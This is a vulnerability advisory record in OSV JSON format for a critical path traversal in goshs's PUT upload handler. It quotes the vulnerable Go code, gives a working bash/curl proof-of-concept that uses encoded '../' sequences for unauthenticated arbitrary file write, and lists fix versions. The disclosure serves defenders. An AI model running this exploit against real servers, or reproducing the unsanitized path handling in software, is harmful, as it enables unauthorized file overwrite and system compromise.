{"id":"GHSA-g8mv-vp7j-qp64","summary":"goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload","details":"### Summary\n* PUT upload has no path sanitization | `httpserver/updown.go:20-69`\n\nThis finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:20-69`\n**Trigger:** `PUT /\u003cpath\u003e` (server.go:57-59 routes directly to `put()`)\n\nThe handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.\n\n```go\nfunc (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {\n    upath := req.URL.Path                              // unsanitized\n\n    filename := strings.Split(upath, \"/\")\n    outName := filename[len(filename)-1]\n\n    targetpath := strings.Split(upath, \"/\")\n    targetpath = targetpath[:len(targetpath)-1]\n    target := strings.Join(targetpath, \"/\")\n\n    savepath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, outName)\n    // ...\n    os.Create(savepath)                                // arbitrary path write\n```\n\n`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.\n\n**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Write an arbitrary file on a running goshs instance via PUT.\n#\n# Usage: ./arbitrary_overwrite1.sh \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nLOCAL_FILE=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nTARGET=\"${4:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n    echo \"[-] Local file not found: $LOCAL_FILE\"\n    exit 1\nfi\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / from target\nTARGET_REL=\"${TARGET#/}\"\n\nPUT_PATH=\"/${TRAVERSAL}${TARGET_REL}\"\n\necho \"[*] Source:  ${LOCAL_FILE}\"\necho \"[*] Target:  ${TARGET}\"\necho \"[*] PUT:     ${PUT_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    --path-as-is \\\n    -X PUT --data-binary \"@${LOCAL_FILE}\" \\\n    \"http://${HOST}:${PORT}${PUT_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.","aliases":["CVE-2026-35392","GO-2026-5394"],"modified":"2026-06-25T19:56:19.406585566Z","published":"2026-04-03T04:07:55Z","database_specific":{"github_reviewed_at":"2026-04-03T04:07:55Z","nvd_published_at":"2026-04-06T21:16:21Z","cwe_ids":["CWE-22"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35392"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"}],"affected":[{"package":{"name":"github.com/patrickhener/goshs","ecosystem":"Go","purl":"pkg:golang/github.com/patrickhener/goshs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.5-0.20260401172448-237f3af891a9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-g8mv-vp7j-qp64/GHSA-g8mv-vp7j-qp64.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}